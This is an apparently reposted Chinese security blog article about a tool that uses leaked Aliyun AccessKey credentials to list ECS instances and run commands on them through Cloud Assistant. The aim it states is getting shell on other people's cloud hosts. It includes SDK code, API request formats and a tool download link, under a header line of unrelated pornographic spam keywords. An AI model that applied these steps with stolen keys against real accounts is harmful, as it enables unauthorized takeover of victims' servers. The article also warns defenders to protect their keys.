日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python 程序运行在阿里云主机_阿里云主机Access key利用工具

發布時間:2025/3/12 python 52 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python 程序运行在阿里云主机_阿里云主机Access key利用工具 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

簡介(Gamma實驗室核心成員:一燈老和尚所寫)

在日常滲透過程中我們經常遇到信息泄露出ALIYUN_ACCESSKEYID與ALIYUN_ACCESSKEYSECRET(阿里云API key),特別是laravel框架得debug信息。APP中也會泄露這些信息,那么我們如何直接利用這些泄露的api key去拿到別人的阿里云主機shell勒?

!!!下載鏈接在文末!!!

概述

我們說下阿里API有什么用吧,以下是官方說明:

云服務器(Elastic Compute Service,ECS),可以調用API管理您的云上資源和開發自己的應用程序。

ECS API支持HTTP或者HTTPS網絡請求協議,允許GET和POST方法。您可以通過以下方式調用ECS API

詳情參考阿里云官方API文檔:https://help.aliyun.com/document_detail/25484.html?spm=a2c4g.11186623.6.1276.12244f88jytZ8c

開發思路

1、通過阿里云SDK使用

SDK下載地址:https://github.com/aliyun/aliyun-openapi-python-sdk

pip安裝

# Install the core library pip install aliyun-python-sdk-core # Install the ECS management library pip install aliyun-python-sdk-ecs # Install the RDS management library pip install aliyun-python-sdk-rds

調用查詢ecs主機

#!/usr/bin/env python#coding=utf-8 from aliyunsdkcore.client import AcsClientfrom aliyunsdkcore.acs_exception.exceptions import ClientExceptionfrom aliyunsdkcore.acs_exception.exceptions import ServerExceptionfrom aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou') request = DescribeInstancesRequest()request.set_accept_format('json') response = client.do_action_with_exception(request)# python2: print(response) print(str(response, encoding='utf-8'))

創建命令

#!/usr/bin/env python#coding=utf-8 from aliyunsdkcore.client import AcsClientfrom aliyunsdkcore.acs_exception.exceptions import ClientExceptionfrom aliyunsdkcore.acs_exception.exceptions import ServerExceptionfrom aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou') request = CreateCommandRequest()request.set_accept_format('json') response = client.do_action_with_exception(request)# python2: print(response) print(str(response, encoding='utf-8'))

這里會返回一個云助手命令id,返回結果:

{ "RequestId": "E69EF3CC-94CD-42E7-8926-F133B86387C0", "CommandId": "c-7d2a745b412b4601b2d47f6a768d3a14"}

執行命令

#!/usr/bin/env python#coding=utf-8 from aliyunsdkcore.client import AcsClientfrom aliyunsdkcore.acs_exception.exceptions import ClientExceptionfrom aliyunsdkcore.acs_exception.exceptions import ServerExceptionfrom aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou') request = InvokeCommandRequest()request.set_accept_format('json') response = client.do_action_with_exception(request)# python2: print(response) print(str(response, encoding='utf-8'))

返回結果

{ "RequestId": "E69EF3CC-94CD-42E7-8926-F133B86387C0", "InvokeId": "t-7d2a745b412b4601b2d47f6a768d3a14"}

安全組部分就省略了,根據API文檔

2、通過GET/POST 使用

這里先說下公共請求參數

名稱類型是否必需描述
ActionStringAPI的名稱。取值請參見API概覽。
AccessKeyIdString訪問密鑰ID。AccessKey用于調用API,而用戶密碼用于登錄 ECS管理控制臺。
SignatureString您的簽名。取值請參見簽名機制。
SignatureMethodString簽名方式。取值:HMAC-SHA1
SignatureVersionString簽名算法版本。取值:1.0
SignatureNonceString簽名唯一隨機數。用于防止網絡重放攻擊,建議您每一次請求都使用不同的隨機數。
TimestampString請求的時間戳。按照ISO8601標準表示,并需要使用UTC時間,格式為yyyy-MM-ddTHH:mm:ssZ。示例:2018-01-01T12:00:00Z 表示北京時間2018年01月01日20點00分00秒。
VersionStringAPI版本號,格式為YYYY-MM-DD。取值:2014-05-26
FormatString返回參數的語言類型。取值范圍: · json· xml默認值:xml

2.1 GET請求

https://ecs.aliyuncs.com/?Action=DescribeInstanceStatus&RegionId=cn-hangzhou&PageSize=1&PageNumber=1&InstanceId.1=i-bp1j4i2jdf3owlhe****&<公共請求參數>

XML返回格式:

<DescribeInstanceStatusResponse> <PageNumber>1</PageNumber> <InstanceStatuses> <InstanceStatus> <Status>Running</Status> <InstanceId>i-bp1j4i2jdf3owlhe****</InstanceId> </InstanceStatus> </InstanceStatuses> <TotalCount>58</TotalCount> <PageSize>1</PageSize> <RequestId>746C3444-9A24-4D7D-B8A8-DCBF7AC8BD66</RequestId></DescribeInstanceStatusResponse>

JSON返回格式

{ "PageNumber": 1, "InstanceStatuses": { "InstanceStatus": [ { "Status": "Running", "InstanceId": "i-bp1j4i2jdf3owlhe****" } ] }, "TotalCount": 58, "PageSize": 1, "RequestId": "746C3444-9A24-4D7D-B8A8-DCBF7AC8BD66"}

2.2 POST請求

POST / HTTP/1.1Host: ecs.aliyuncs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 0 Action=DescribeInstanceStatus&RegionId=cn-hangzhou&PageSize=1&PageNumber=1&InstanceId.1=i-bp1j4i2jdf3owlhe****&<公共請求參數>

返回跟GET方式一樣

工具使用

圖形化界面,沒什么說的。附一張截圖相信大家都明白了。

結束

阿里云為運維人員與開發人員提供了方便,但同時自身也要加強安全意識,注意自己的key不要泄露,不然直接接管阿里云所有esc主機,風險比一般高危漏洞都還要高。

下載鏈接及漏洞文章

項目鏈接:https://github.com/mrknow001/aliyun-accesskey-Tools

工具下載鏈接:https://github.com/mrknow001/aliyun-accesskey-Tools/releases/download/1.0/Aliyun-.AK.Tools.exe

歡迎大家關注微信公眾號Gamma安全實驗室,會不定期發表技術文章和安全工具

總結

以上是生活随笔為你收集整理的python 程序运行在阿里云主机_阿里云主机Access key利用工具的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。